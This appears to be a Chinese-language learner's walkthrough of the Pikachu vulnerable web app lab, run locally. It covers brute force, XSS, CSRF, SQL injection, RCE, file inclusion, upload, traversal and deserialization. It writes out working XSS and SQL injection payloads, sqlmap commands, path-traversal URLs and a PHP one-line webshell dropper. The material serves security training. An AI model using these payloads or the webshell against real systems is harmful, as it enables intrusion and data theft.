2# 注
4.日后使用教程
由于pikachu靶场需要小皮面板提供的web环境,所以我们每次需要使用靶场的时候都需要打开小皮面板,并在面板内开启Apache(或NGINX)
和MySQL,然后浏览器访问 127.0.0.1
5.避坑指南
1.第一次访问一定要在链接后面加上 install.php 例如 127.0.0.1/install.php
2.假如是自建的数据库账号,一定要赋予root权限
3.pikachu源码的文件夹一定要重命名为"pikachu"

pikachu靶场

Burte Force(暴力破解)

概述

“暴力破解”是一攻击具手段,在web攻击中,一般会使用这种手段对应用系统的认证信息进行获取。 其过程就是使用大量的认证信息在认证接口进行尝试登录,直到得到正确的结果。 为了提高效率,暴力破解一般会使用带有字典的工具来进行自动化操作。 
理论上来说,大多数系统都是可以被暴力破解的,只要攻击者有足够强大的计算能力和时间,所以断定一个系统是否存在暴力破解漏洞,其条件也不是绝对的。 我们说一个web应用系统存在暴力破解漏洞,一般是指该web应用系统没有采用或者采用了比较弱的认证安全策略,导致其被暴力破解的“可能性”变的比较高。 这里的认证安全策略, 包括:
1.是否要求用户设置复杂的密码;
2.是否每次认证都使用安全的验证码(想想你买火车票时输的验证码~)或者手机otp;
3.是否对尝试登录的行为进行判断和限制(如:连续5次错误登录,进行账号锁定或IP地址锁定等);
4.是否采用了双因素认证;
...等等。
千万不要小看暴力破解漏洞,往往这种简单粗暴的攻击方式带来的效果是超出预期的!
你可以通过“BurteForce”对应的测试栏目,来进一步的了解该漏洞。 

从来没有哪个时代的黑客像今天一样热衷于猜解密码 ---奥斯特洛夫斯基

基于表单的暴力破解

表单
点击提示
点击提示后,我们可以看见用户和密码。说明这是基于字典的暴力破解。
密码
打开拦截
log
发送到intruder
清除
只有随便写的用户密码的字符上面要添加类似于$的符号。
1
第一步选择集群炸弹攻击。好处是可以同时爆破用户名和密码。选择1的指定用户名字典文件。
2
第二步选择2的指定密码字典文件。点开始攻击。
长度
看最终长度爆破出用户密码。
过关

验证码绕过(on server)

验证码错误
用户密码不存在
提示
第一次用户名和密码验证码基本全部填错误的。提示验证码错误。第二次只填正确的验证码。提示
username or password is not exists~(用户或者密码不存在。)再看提示,说验证码是一直有效的。但是每输一次页面就会刷新。验证码就会改变。所以输入正确的验证码和错误的用户名密码,来开始抓包。
抓包
只需要用户名和密码这里添加类似于$的符号。然后跟基于表单的暴力破解一样的攻击就好了。
长度
过关

验证码绕过(on client)

验证码错误
用户密码不存在
前端js
确认
因为输入错误的验证码后,会有验证码错误的弹窗。所以可以猜测是前端js写的验证码。所以打开查看源代码。确认是前端js写的验证码。
前端JavaScript(简称JS)源码是指在浏览器中运行的JavaScript代码,它用于实现网页的交互功能、动态内容更新、用户界面操作等。JavaScript是一种轻量级的编程语言,它允许网页与用户进行动态交互,无需重新加载页面。所以不需要验证码就可以爆破用户名和密码。因为在网络安全领域中,前端(客户端)进行的任何形式的验证,包括验证码,都不能保证绝对的安全性。这是因为前端代码可以被用户查看和修改,包括禁用或绕过验证逻辑。即使验证码被提交,如果后端没有进行相应的验证,那么这些验证措施就形同虚设。因为后端不校验验证码,所以只用选择用户名与密码,爆破方式还是和前面的一样。
验证码参数
把这个验证码参数删除。
用户密码
不知道什么原因。vcode怎么都删不掉。不过没什么影响,一样的选中用户名和密码两个参数跟前面的一样爆破就行了。
长度
过关

token防爆破

在开始之前,我们先来了解一下token是什么
"token"通常指的是一个用于验证用户身份和授权访问的令牌。它是一种特殊的字符串或代码,由服务器生成并分配给经过身份验证的用户。用户在成功登录后,服务器会颁发一个token给客户端(例如Web浏览器),客户端将在随后的请求中将该token作为身份验证凭据发送给服务器。简单来说就是服务器给前端发的身份证,前端向服务器发送请求时都要带上这个身份证,服务器通过这个身份证来判断是否是合法请求。
token
查到到token参数。也就是他的身份证。对于有token的的验证,我们适用于已经知道账号的情况,或者账号和密码一一对应的情况,并且我们的暴力破解方式就要有所调整,我们依旧是先抓包,并发送到攻击模块,我们这里的攻击目标要选择password,以及token,攻击方式选择Pitchfork

密码
音叉攻击

攻击类型为音叉的时候,例如你要爆破账号和密码,你的账号字典为123,456;你的密码字典为147,258。那么你爆破的次数就为2次了,分别是(123,147),(456,258),也就是说账号字典和密码字典是一一对应的

为了方便所以我们就只开始爆破密码。
密码字典
添加密码字典。
payload
input type="hidden" name="token" value="7799467989eb433508748481221"
复制
破解

cross-site scripting(xxs)

概述

XSS(跨站脚本)概述
Cross-Site Scripting 简称为“CSS”,为避免与前端叠成样式表的缩写"CSS"冲突,故又称XSS。一般XSS可以分为如下几种常见类型:
1.反射性XSS;
2.存储型XSS;
3.DOM型XSS;
XSS漏洞一直被评估为web漏洞中危害较大的漏洞,在OWASP TOP10的排名中一直属于前三的江湖地位。
XSS是一种发生在前端浏览器端的漏洞,所以其危害的对象也是前端用户。
形成XSS漏洞的主要原因是程序对输入和输出没有做合适的处理,导致“精心构造”的字符输出在前端时被浏览器当作有效代码解析执行从而产生危害。
因此在XSS漏洞的防范上,一般会采用“对输入进行过滤”和“输出进行转义”的方式进行处理:
输入过滤:对输入进行过滤,不允许可能导致XSS攻击的字符输入;
输出转义:根据输出点的位置对输出到前端的内容进行适当转义;
你可以通过“Cross-Site Scripting”对应的测试栏目,来进一步的了解该漏洞。

反射型xss(get)

输不了
输入,输入到('xss')后输入不了。
可能超过长度限制了。
改掉
一看发现最大长度数值只有20。那我们就随便改一个较大的数。改为100。然后再输入
过关

反射型xss(post)

登录
这里有账号密码的登录框。我们先登录。
输入
登录之后发现,这里有和上一题一样的输入框。我们接着输入这个,然后点提交。
过关

我们先看一下post和get请求的区别
数据传输方式:
GET请求:数据通过URL中的查询参数附加在URL后面,以明文形式传输数据。
POST请求:数据作为请求的正文发送,而不是通过URL传递。
数据长度限制:
GET请求:有长度限制,受浏览器和服务器对URL长度的限制。
POST请求:没有固定的长度限制,适合传输大量数据。
数据安全性:
GET请求:数据以明文形式暴露在URL中,容易被窃听和拦截。
POST请求:数据在请求正文中传输,并可以使用加密协议(如HTTPS)进行传输,相对更安全。
数据缓存:
GET请求:可以被浏览器缓存,可以提高性能。
POST请求:通常不被浏览器缓存。
 仔细观察就会发现,get型的那一关,我们输入的payload在url中有显示,而post则没有显示

存储型xss

输入
存储型的xss这里有一块留言板。我们依然输入
过关
存储
我们可以看到列表有一个删除的蓝色字样。我们点击删除。就什么都没有了。但是我们点击提交,就会出现弹窗。刷新页面也是。这说明我们的数据被存储起来了。这就是存储型xss

DOM型xss

首先我们先看下什么是DOM,
DOM(DOM(Document Object Model,文档对象模型)是一种编程接口,用于访问和操作HTML和XML文档的内容、结构和样式。它将网页表示为一个树形结构,其中每个元素(如 <div>、<p>、<a>等)都是一个节点(Node),开发者可以使用JavaScript动态修改这些节点,从而实现网页的交互效果。)简单来说就是:
DOM是一种用于表示和操作HTML、XML等文档结构的编程接口,通过它可以使用代码来访问、修改和操作Web页面的内容和结构。简单说一下什么是Dom型xss吧,就是向文档对象传入xss代码参数,然后操作文档对象时就会触发xss攻击分析一下前端网页代码,可以发现输入框里的参数会被传递给A标签的href属性
obikk
顺便输入个参数。并观察它是否会影响href的值,说明输入框中输入的参数会被传递给A标签的href属性,并且这个属性值会直接被插入到HTML文档中,如果这个参数可以被用户控制,那么就有可能存在DOM型XSS漏洞。那么如果输入的是javascript:alert(1),那么当点击这个链接时,就会执行这段JavaScript代码,从而触发XSS攻击。所以这里存在DOM型xss漏洞。
过关
可以看到这里有一个<a>的超链接标签。所以我们一点击超链接what do you see就会触发xss弹窗。

DOM型xss-x

原理和上题一样。
点击
超连接
点击后出现蓝色的超连接。
接着点击又出现一个。
新出现
接着点击新出现的蓝色超连接,就会触发xss弹窗。
过关

XSS之盲打

输入
输入。我们发现没什么反应。去看看提示
提示
提示有后台登录地址。我们访问一下。
后台
访问来到了这里。于是我们输入用户名admin,密码123456。
过关

XSS之过滤

过滤思路:https://xuanwo.xin/archives/19ab1fc7-6e7a-4564-9e1e-89223207e14c
输入
输入,先看看什么被过滤了。
过滤
发现只剩下>,猜测可能是<script>标签被过滤。我们换个onclick尝试一下。
<a href="" onclick="alert('xss')">
超链接
输入<a href="" onclick="alert('xss')">。点击超链接,触发弹窗。成功绕过
过关

xss之htmlspecialchars

简单说一下specialchars这个函数吧,就是把单引号,双引号,尖括号过滤了,但是这个函数默认是不过滤单引号的,只有将quotestyle选项为ENT_QUOTES才会过滤单引号。
输入框的值会成为a标签的href属性,那么xss语句为:javascript:alert(1),就可以绕过了
输入
蓝色超链接
提交后出现了一个蓝色的超链接。我们点击一下。就出现了弹窗。
过关

xss之href输出

如果 href 参数中的输入未正确处理,可能会导致 XSS,例如:
<a href="javascript:alert('xss')">点击我</a>
如果 href 允许 javascript: 协议,就可能触发 XSS。
(1) 如果 htmlspecialchars() 处理 href
php
echo '<a href="' . htmlspecialchars('javascript:alert("XSS")') . '">点击我</a>';
<a href="javascript:alert("XSS")">点击我</a>
在这种情况下,虽然 " 被转义了,但 javascript: 仍然可能被浏览器解析,从而触发 XSS。
(2) 如果 htmlspecialchars() 只用于 <script> 但未过滤 href
echo '<a href="javascript:alert('xss')">点击</a>';
如果 href 允许 javascript:,XSS 仍然可能生效。
所以和上题一样,我们输入\javascript:alert(1),点击我</a>。点击超链接,触发弹窗。
输入
超链接
过关

xss之js输出

js输出:https://xuanwo.xin/archives/b9734833-c589-4f6f-bbb9-4845c4fcdd25
输入
点击后发现没什么反应。
提示
提示说输入框的值会作为js代码输出。我们之间f12查看一下源代码。再按提升说的去搜素。然后发现<script>标签对应关系有问题,那么我们只需要想办法闭合掉第一个<script>就可以了。于是我们输入</script><script>alert('xss')</script>闭合掉第一个<script>标签,然后插入新的<script>标签,触发弹窗。
过关

CRSF

概述

CSRF(跨站请求伪造)概述
Cross-site request forgery 简称为“CSRF”,在CSRF的攻击场景中攻击者会伪造一个请求(这个请求一般是一个链接),然后欺骗目标用户进行点击,用户一旦点击了这个请求,整个攻击就完成了。所以CSRF攻击也成为"one click"攻击。 很多人搞不清楚CSRF的概念,甚至有时候会将其和XSS混淆,更有甚者会将其和越权问题混为一谈,这都是对原理没搞清楚导致的。
这里列举一个场景解释一下,希望能够帮助你理解。
场景需求:
小黑想要修改大白在购物网站tianxiewww.xx.com上填写的会员地址。
先看下大白是如何修改自己的密码的:
登录---修改会员信息,提交请求---修改成功。
所以小黑想要修改大白的信息,他需要拥有:1,登录权限 2,修改个人信息的请求。
但是大白又不会把自己xxx网站的账号密码告诉小黑,那小黑怎么办?
于是他自己跑到www.xx.com上注册了一个自己的账号,然后修改了一下自己的个人信息(比如:E-mail地址),他发现修改的请求是:
http://www.xxx.com/edit.php?email=xiaohei@88.com&Change=Change】
于是,他实施了这样一个操作:把这个链接伪装一下,在小白登录xxx网站后,欺骗他进行点击,小白点击这个链接后,个人信息就被修改了,小黑就完成了攻击目的。
为啥小黑的操作能够实现呢。有如下几个关键点:
1.www.xxx.com这个网站在用户修改个人的信息时没有过多的校验,导致这个请求容易被伪造;
---因此,我们判断一个网站是否存在CSRF漏洞,其实就是判断其对关键信息(比如密码等敏感信息)的操作(增删改)是否容易被伪造。
2.小白点击了小黑发给的链接,并且这个时候小白刚好登录在购物网上;
---如果小白安全意识高,不点击不明链接,则攻击不会成功,又或者即使小白点击了链接,但小白此时并没有登录购物网站,也不会成功。
---因此,要成功实施一次CSRF攻击,需要“天时,地利,人和”的条件。
当然,如果小黑事先在xxx网的首页如果发现了一个XSS漏洞,则小黑可能会这样做: 欺骗小白访问埋伏了XSS脚本(盗取cookie的脚本)的页面,小白中招,小黑拿到小白的cookie,然后小黑顺利登录到小白的后台,小黑自己修改小白的相关信息。
---所以跟上面比一下,就可以看出CSRF与XSS的区别:CSRF是借用户的权限完成攻击,攻击者并没有拿到用户的权限,而XSS是直接盗取到了用户的权限,然后实施破坏。
因此,网站如果要防止CSRF攻击,则需要对敏感信息的操作实施对应的安全措施,防止这些操作出现被伪造的情况,从而导致CSRF。比如:
--对敏感信息的操作增加安全的token;
--对敏感信息的操作增加安全的验证码;
--对敏感信息的操作实施安全的逻辑流程,比如修改密码时,需要先校验旧密码等。

如果你没有读太明白,不要犹豫,请再读一遍啦
你可以通过“Cross-site request forgery”对应的测试栏目,来进一步的了解该漏洞。

CSRF(Cross-site request forgery)跨站请求伪造,也被称为“One Click Attack”或者"Session Riding",通常缩写为CSRF或者XSRF
尽管听起来跟XSS好像差不多, 其实这两者是完全不同的。在CSRF的攻击场景中攻击者会伪造一个请求(该请求通常为url链接), 然后欺骗用户去点击, 若用户点击了那么整个攻击流程就结束了, 这也就是为何CSRF被称为"One Click Attack"
与XSS攻击相比,CSRF攻击往往不大流行, 因此对其进行防范的资源也相当稀少和难以防范,所以被认为比XSS更具危险性。

CSRF之get

首先随便登录一个账号: vince/allen/kobe/grady/kevin/lucy/lili, 密码均为123456, 然后使用burpsuite抓取修改个人信息的数据包, 或者F12打开控制台切换至Network进行抓包
我们将抓取到的url的请求参数修改成自己的, 例如将邮箱参数修改成hacker@qq.com, 那么构成的CSRF攻击payload
提示
点击提升。随便输入一个用户。
超链接
发现有一个超链接。我们点击一下。
修改界面
发现提示我们修改成功。我们点击一下返回。发现我们输入的用户名已经变成了我们输入的。
修改结果
不知道为什么之间就成功了。我们生成一个csrf我们抓个包看一下。换个麻烦点的把题解决掉。
生成
抓包
复制
把它复制到浏览器里面打开。
抓包
修改
就成功修改了。其实不抓包也可以重新修改。

CSRF之post

提示
题目还是和上题一样。我们用csrf工具来看看。此处运行CSRFTESTER工具来制作恶意网页, 首先浏览器配置网络代理, 监听本机的8008端口,然后在CSRFTESTER点击Start Recording开始抓包
代理设置
post
改
这里可以随便改。
抓包
会生成一个这样的网页。我看别人都有一个提交的按钮。但是我没有。于是我也不是很清楚了。感觉这里的csrf比较容易,傻瓜式的就改掉了。我也不太知道为什么。

CSRF之token

造成CSRF漏洞的主要原因是请求敏感操作的数据包容易被伪造, 其实只要在每次请求时都增加一个随机码(Token), 在每次前端与后端进行数据交互时后台都要对这个随机码进行验证, 以此来防护CSRF攻击
查看token_get_edit.php的源码, 发现有一个set_token()函数, 该函数每次刷新页面都会被调用, 然后将SESSION中的token销毁, 并生成新的token发送至前端表单中
token
在每次提交表单时, 前端页面的token值都会传送至后台与SESSION中的token进行对比验证, 由于黑客不知道用户当前的token值, 从而无法进行CSRF攻击。

sql注入

SQL注入攻击指的是攻击者通过执行恶意SQL语句注入到正常用户查询中, 从而破坏数据库, 窃取数据, 修改数据, 删除数据等操作

Sql Inject(SQL注入)概述

哦,SQL注入漏洞,可怕的漏洞。

     在owasp发布的top10排行榜里,注入漏洞一直是危害排名第一的漏洞,其中注入漏洞里面首当其冲的就是
     数据库注入漏洞。
一个严重的SQL注入漏洞,可能会直接导致一家公司破产!
SQL注入漏洞主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的
“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。 从而导致数据库受损(被脱裤、被删除、甚至整个服务器
权限沦陷)。
在构建代码时,一般会从如下几个方面的策略来防止SQL注入漏洞:
1.对传进SQL语句里面的变量进行过滤,不允许危险字符传入;
2.使用参数化(Parameterized Query 或 Parameterized Statement);
3.还有就是,目前有很多ORM框架会自动使用参数化解决注入问题,但其也提供了"拼接"的方式,所以使用时需要慎重! 
SQL注入在网络上非常热门,也有很多技术专家写过非常详细的关于SQL注入漏洞的文章,这里就不在多写了。
你可以通过“Sql Inject”对应的测试栏目,来进一步的了解该漏洞。 

数字型注入(post)

题目说明了是数字型注入,所以不需要闭合符。我们点开看可以发现有
6个用户。用order by 查看一下有多少列。
order by
没有3
一个一个试,发现3出错了。说明只有两列。我们用union select爆一下数据库。发现爆不出来。我们用group_concat爆一下。
查询
故意构造一个非法输入值,从而让 UNION SELECT 的结果直接显示出来。
过关

字符型注入(get)

题目说明了是字符型注入,所以需要闭合符。我们可以直接构造万能密码。
万能密码
查询
查到了所有的用户,也可以查询表和数据库。
1' union select group_concat(table_name),2 from information_schema.tables where table_schema=database();

搜索型注入

我们用sqlmap工具来注入。
sqlmap
随便输个什么。
sqlmap
http://127.0.0.1/vul/sqli/sqli_search.php?name=1&submit=%E6%90%9C%E7%B4%A2。
过关

xx型注入

提示
应该不是某种特定的注入。直接用sqlmap跑就行。
过关

insert/updata注入

其实就是报错注入。
' and extractvalue(1,concat(0x7e,(database()))) and '1'='1
抓包
先抓个包看一下。
抓包
报错注入
过关
过关

delete注入

题目
题目很明显跟删除有关。
抓包
点击删除的时候抓一下包。
id
id是61.我们直接构造一个id=61 and extractvalue(1,concat(0x7e,(database()))) and '1'='1
get请求,id后门要url编码一下。
编码后
结果和上一题一样但是报错注入。

http header注入

有些时候后台开发人员会验证前端发送来的请求头信息(如useragent、accept等), 然后将这些信息使用SQL语句进行处理, 若没有作严格的安全考虑, 则会导致http header的SQL注入漏洞
首先登录账号, 登录账号后会在页面显示用户请求头信息
根据提示登录进去是这样的。
登录
,将user-agent的值改为单引号', 页面显示报错信息代表此处存在注入
‘
报错注入
过关

基于boolian的盲注

基于布尔的SQL盲注, 是指在服务器没有错误回显的情况下, 只能通过页面返回内容是否变化来判断是否存在SQL注入漏洞以及注入语句执行结果的一种SQL注入技术方法。
我们直接用sqlmap工具来跑。
过关

基于时间的盲注

基于时间的SQL盲注, 是指在服务器没有错误回显的情况下, 只能通过页面返回的时间判断是否存在SQL注入漏洞以及注入语句执行结果的一种SQL注入技术方法。
我们还是直接用sqlmap工具来跑。
python sqlmap.py -u "url" --technique T --time-sec=5 --threads=10 --batch
过关

宽字节注入

宽字节注入是由于后台数据库使用了宽字节集, 如GBK, 而前端传参时没有进行正确的编码处理, 导致单引号被转义失效, 从而引发SQL注入漏洞的一种SQL注入技术方法。
kobe%df' union select database(),2#
抓包
我们将name名称改成kobe%df' union select database(),2#
改
过关

RCE

远程代码执行漏洞, 又称远程指令执行漏洞, 是指攻击者通过发送恶意的指令数据到服务器上, 服务器以管理员权限执行这些指令, 从而控制整个服务器的一种攻击手段。

RCE概述

RCE(remote command/code execute)概述
RCE漏洞1,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。
远程系统命令执行
一般出现这种漏洞,是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口
比如我们常见的路由器、防火墙、入侵检测等设备的web管理界面上
一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。 而,如果,设计者在完成该功能时,没有做严格的安全控制,则可能会导致攻击者通过该接口提交“意想不到”的命令,从而让后台进行执行,从而控制整个后台服务器
现在很多的甲方企业都开始实施自动化运维,大量的系统操作会通过"自动化运维平台"进行操作。 在这种平台上往往会出现远程系统命令执行的漏洞,不信的话现在就可以找你们运维部的系统测试一下,会有意想不到的"收获"-_-
远程代码执行
同样的道理,因为需求设计,后台有时候也会把用户的输入作为代码的一部分进行执行,也就造成了远程代码执行漏洞。 不管是使用了代码执行的函数,还是使用了不安全的反序列化等等。
因此,如果需要给前端用户提供操作类的API接口,一定需要对接口输入的内容进行严格的判断,比如实施严格的白名单策略会是一个比较好的方法。
你可以通过“RCE”对应的测试栏目,来进一步的了解该漏洞。

exec "ping"

ping
先ping一下本地。上连接符执行其他命令
dir
执行结果是当前用户。
执行结果

exec "eval"

动态执行代码:eval() 函数使程序能够在运行时动态执行字符串中的代码。它可以将字符串中的代码作为有效的程序代码进行解析和执行。
字符串转换为代码:eval() 函数将接收到的字符串参数解析为编程语言中的代码,并执行该代码。这意味着可以将任何有效的代码作为字符串传递给 eval() 函数,并执行该代码。
phpinfo();
过关

file include

概述

File Inclusion(文件包含漏洞)概述
文件包含,是一个功能。在各种开发语言中都提供了内置的文件包含函数,其可以使开发人员在一个代码文件中直接包含(引入)另外一个代码文件。 比如 在PHP中,提供了:
include(),include_once()
require(),require_once()
这些文件包含函数,这些函数在代码设计中被经常使用到。
大多数情况下,文件包含函数中包含的代码文件是固定的,因此也不会出现安全问题。 但是,有些时候,文件包含的代码文件被写成了一个变量,且这个变量可以由前端用户传进来,这种情况下,如果没有做足够的安全考虑,则可能会引发文件包含漏洞。 攻击着会指定一个“意想不到”的文件让包含函数去执行,从而造成恶意操作。 根据不同的配置环境,文件包含漏洞分为如下两种情况:
1.本地文件包含漏洞:仅能够对服务器本地的文件进行包含,由于服务器上的文件并不是攻击者所能够控制的,因此该情况下,攻击着更多的会包含一些 固定的系统配置文件,从而读取系统敏感信息。很多时候本地文件包含漏洞会结合一些特殊的文件上传漏洞,从而形成更大的威力。
2.远程文件包含漏洞:能够通过url地址对远程的文件进行包含,这意味着攻击者可以传入任意的代码,这种情况没啥好说的,准备挂彩。
因此,在web应用系统的功能设计上尽量不要让前端用户直接传变量给包含函数,如果非要这么做,也一定要做严格的白名单策略进行过滤。
你可以通过“File Inclusion”对应的测试栏目,来进一步的了解该漏洞。

本地文件包含漏洞

随便
随便选择一个查询,再在地址栏修改文件。看能否查询到。
查询
查询到了。
读取到了本地文件。C:/../../../../Windows\win.ini。../..代表隐藏的文件,目录遍历
。win.ini是windows的配置文件。
本地文件

远程文件包含漏洞

webshell
生成一个webshell。<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[123]);?>');?>。生成一个一句话木马。
webshell
http://127.0.0.1/vul/fileinclude/fi_remote.php?filename=generateWebshell.txt&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2
路径
这个路径下生成了一个shell.php的文件。
情况
遇到这种情况。把这个
on
配置文件从Off改为On就行。
shell
生成了shell.php文件。我们可以用蚁剑来连接。
连接上蚁剑
过关

不安全的文件下载 unsafe filedownload

概述

不安全的文件下载概述
文件下载功能在很多web系统上都会出现,一般我们当点击下载链接,便会向后台发送一个下载请求,一般这个请求会包含一个需要下载的文件名称,后台在收到请求后 会开始执行下载代码,将该文件名对应的文件response给浏览器,从而完成下载。 如果后台在收到请求的文件名后,将其直接拼进下载文件的路径中而不对其进行安全判断的话,则可能会引发不安全的文件下载漏洞。
此时如果 攻击者提交的不是一个程序预期的的文件名,而是一个精心构造的路径(比如../../../etc/passwd),则很有可能会直接将该指定的文件下载下来。 从而导致后台敏感信息(密码文件、源代码等)被下载。
所以,在设计文件下载功能时,如果下载的目标文件是由前端传进来的,则一定要对传进来的文件进行安全考虑。 切记:所有与前端交互的数据都是不安全的,不能掉以轻心!
你可以通过“Unsafe file download”对应的测试栏目,来进一步的了解该漏洞。

unsafe filedownload

下载
点击下载头像。下载图像。在网址栏改名字下载。
下载
成功下载。index.php文件。http://127.0.0.1/vul/unsafedownload/execdownload.php?filename=../../../index.php

不安全的文件上传 unsafe fileupload

概述

不安全的文件上传漏洞概述
文件上传功能在web应用系统很常见,比如很多网站注册的时候需要上传头像、上传附件等等。当用户点击上传按钮后,后台会对上传的文件进行判断 比如是否是指定的类型、后缀名、大小等等,然后将其按照设计的格式进行重命名后存储在指定的目录。 如果说后台对上传的文件没有进行任何的安全判断或者判断条件不够严谨,则攻击着可能会上传一些恶意的文件,比如一句话木马,从而导致后台服务器被webshell。
所以,在设计文件上传功能时,一定要对传进来的文件进行严格的安全考虑。比如:
--验证文件类型、后缀名、大小;
--验证文件的上传方式;
--对文件进行一定复杂的重命名;
--不要暴露文件上传后的路径;
--等等...
你可以通过“Unsafe file upload”对应的测试栏目,来进一步的了解该漏洞。

客户端check (click check)

上传
上传文件。上传一个php文件。但是没有成功。提示只能上传jpg、png、gif格式的文件。我们可以先抓包改一下文件格式。再上传。
发现上传不了,先把前端验证关掉。
关掉
这样就可以上传了。改格式
把文件格式改了。改成“jpg、png、gif”格式的文件。
过关
连接上蚁剑
这里应该是先把一句话木马改为jpg格式,再上传。上传时bp抓包改为php。然后连接上蚁剑。

服务端check (MIME type)

php
上传php文件。mime类型的只需要把文件类型这个(content-type)参数改为image/jpg就行。
过关

getimagesize()

getimagesize()函数会通过读取文件头部的几个字符串(即文件头), 来判断是否为正常图片的头部
可通过制作图片木马或再木马文件内容头部添加GIF89a(Gif图片文件头), 然后利用文件包含漏洞来解析图片木马
GIF89a
把文件头改为GIF89a。后缀改为jpg。上传。
上传成功
由此可知木马图片的url地址为http://127.0.0.1/vul/unsafeupload/uploads/2025/02/07/62764567a5d19e2e9c9907014227.jpg
利用文件包含漏洞解析此图片木马:http://127.0.0.1/vul/fileinclude/fi_local.php?filename=uploads/2025/02/07/62764567a5d19e2e9c9907014227.jpg&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2
过关
http://127.0.0.1/vul/fileinclude/fi_local.php?filename=../../unsafeupload/uploads/2025/02/07/25761567a5d64d0f191089503865.jpg&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2
在本地文件包含漏洞,filename=../../unsafeupload/uploads/2025/02/07/25761567a5d64d0f191089503865.jpg&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2。../../表示未知的文件。

Over Permission

概述

如果使用A用户的权限去操作B用户的数据,A的权限小于B的权限,如果能够成功操作,则称之为越权操作。 越权漏洞形成的原因是后台使用了 不合理的权限校验规则导致的。 
一般越权漏洞容易出现在权限页面(需要登录的页面)增、删、改、查的的地方,当用户对权限页面内的信息进行这些操作时,后台需要对 对当前用户的权限进行校验,看其是否具备操作的权限,从而给出响应,而如果校验的规则过于简单则容易出现越权漏洞。 
因此,在在权限管理中应该遵守:
1.使用最小权限原则对用户进行赋权;
2.使用合理(严格)的权限校验规则;
3.使用后台登录态作为条件进行权限判断,别动不动就瞎用前端传进来的条件;
你可以通过“Over permission”对应的测试栏目,来进一步的了解该漏洞。 

水平越权

登录
根据提示输入账号。
url
在地址栏username=lucy改成username=lili
输入
实现水平越权。

垂直越权

提示
提示有两个用户,admin是超级boss。都登录看看。
admin
pikachu
pikachu是普通用户。admin是超级boss。admin可以添加用户和查看用户列表。我们现在点击添加用户
admin
把添加用户的url复制。重新登录pikachu用户。
pikachu
把复制的url粘贴在pikachu用户里,pikachu用户也可以添加用户了。
在pikachu里面创建了一个root。
root
在admin里面查看用户列表。发现root用户。

../../

概述

目录遍历漏洞概述
在web功能设计中,很多时候我们会要将需要访问的文件定义成变量,从而让前端的功能便的更加灵活。 当用户发起一个前端的请求时,便会将请求的这个文件的值(比如文件名称)传递到后台,后台再执行其对应的文件。 在这个过程中,如果后台没有对前端传进来的值进行严格的安全考虑,则攻击者可能会通过“../”这样的手段让后台打开或者执行一些其他的文件。 从而导致后台服务器上其他目录的文件结果被遍历出来,形成目录遍历漏洞。
看到这里,你可能会觉得目录遍历漏洞和不安全的文件下载,甚至文件包含漏洞有差不多的意思,是的,目录遍历漏洞形成的最主要的原因跟这两者一样,都是在功能设计中将要操作的文件使用变量的 方式传递给了后台,而又没有进行严格的安全考虑而造成的,只是出现的位置所展现的现象不一样,因此,这里还是单独拿出来定义一下。
需要区分一下的是,如果你通过不带参数的url(比如:http://xxxx/doc)列出了doc文件夹里面所有的文件,这种情况,我们成为敏感信息泄露。 而并不归为目录遍历漏洞。(关于敏感信息泄露你你可以在"i can see you ABC"中了解更多)
你可以通过“../../”对应的测试栏目,来进一步的了解该漏洞。

目录遍历

土兔
网站根目录下新建一个文件。
title
点击蓝色超链接,可发现title参数是实现目录遍历的关键。
123
随便给一个title参数。页面爆出目录为D:\phpstudy_pro\WWW\pikachu-master\vul\dir\dir_list.php
构造读取tutu.txt文件的url。http://127.0.0.1/vul/dir/dir_list.php?title=../../tutu.txt
tutu.txt
读取tutu.txt文件成功。

敏感信息泄露概述

概述

敏感信息泄露概述
由于后台人员的疏忽或者不当的设计,导致不应该被前端用户看到的数据被轻易的访问到。 比如:
---通过访问url下的目录,可以直接列出目录下的文件列表;
---输入错误的url参数后报错信息里面包含操作系统、中间件、开发语言的版本或其他信息;
---前端的源码(html,css,js)里面包含了敏感信息,比如后台登录地址、内网接口信息、甚至账号密码等;
类似以上这些情况,我们成为敏感信息泄露。敏感信息泄露虽然一直被评为危害比较低的漏洞,但这些敏感信息往往给攻击着实施进一步的攻击提供很大的帮助,甚至“离谱”的敏感信息泄露也会直接造成严重的损失。 因此,在web应用的开发上,除了要进行安全的代码编写,也需要注意对敏感信息的合理处理。
你可以通过“i can see your abc”对应的测试栏目,来进一步的了解该漏洞。

I can see your abc

测试
找到测试账号。
过关

php反序列化

概述

PHP在处理对象的时候,会把对象序列化成字符串,然后在需要的时候反序列化回来。 在序列化的时候,PHP会保存对象的所有信息,包括对象所属的类名、所有属性和方法等。

在理解这个漏洞前,你需要先搞清楚php中serialize(),unserialize()这两个函数。
序列化serialize()
序列化说通俗点就是把一个对象变成可以传输的字符串,比如下面是一个对象:

class S{
        public $test="pikachu";
    }
    $s=new S(); //创建一个对象
    serialize($s); //把这个对象进行序列化
    序列化后得到的结果是这个样子的:O:1:"S":1:{s:4:"test";s:7:"pikachu";}
        O:代表object
        1:代表对象名字长度为一个字符
        S:对象的名称
        1:代表对象里面有一个变量
        s:数据类型
        4:变量名称的长度
        test:变量名称
        s:数据类型
        7:变量值的长度
        pikachu:变量值

反序列化unserialize()
就是把被序列化的字符串还原为对象,然后在接下来的代码中继续使用。

  $u=unserialize("O:1:"S":1:{s:4:"test";s:7:"pikachu";}");
    echo $u->test; //得到的结果为pikachu

序列化和反序列化本身没有问题,但是如果反序列化的内容是用户可以控制的,且后台不正当的使用了PHP中的魔法函数,就会导致安全问题

 常见的几个魔法函数:
        __construct()当一个对象创建时被调用

        __destruct()当一个对象销毁时被调用

        __toString()当一个对象被当作一个字符串使用

        __sleep() 在对象在被序列化之前运行

        __wakeup将在序列化之后立即被调用

        漏洞举例:

        class S{
            var $test = "pikachu";
            function __destruct(){
                echo $this->test;
            }
        }
        $s = $_GET['test'];
        @$unser = unserialize($a);

        payload:O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}

